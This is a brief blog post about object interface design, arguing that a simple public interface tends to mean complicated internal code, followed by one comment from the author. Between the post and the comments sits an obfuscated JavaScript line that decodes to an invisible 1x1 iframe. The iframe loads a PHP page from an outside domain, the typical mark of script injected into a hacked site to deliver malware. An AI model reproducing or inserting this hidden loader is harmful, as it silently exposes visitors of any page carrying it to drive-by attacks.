Simple

Usually when you want an object to have a simple interface to the outside world it means that your code inside (e.g. the naming, structure and readability of functions and persistence of data and such) can get pretty complicated. On the other hand, when your interface is extensive and exposes a lot of properties and methods it usually means your inside code remains fairly straightforward.

In the end, it’s just a matter of how you want to divide the workload amongst your objects and perhaps more importantly, how flexibile you want your objects to be. Why? Because – according to the above – more flexibility usually means implementing it is easier.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Join the Conversation

1 Comment

  1. Although my words still seem to make some sense (at least to me) I don’t think “flexibility” is the right word. Maybe “composability” is more to my original intent.

Leave a comment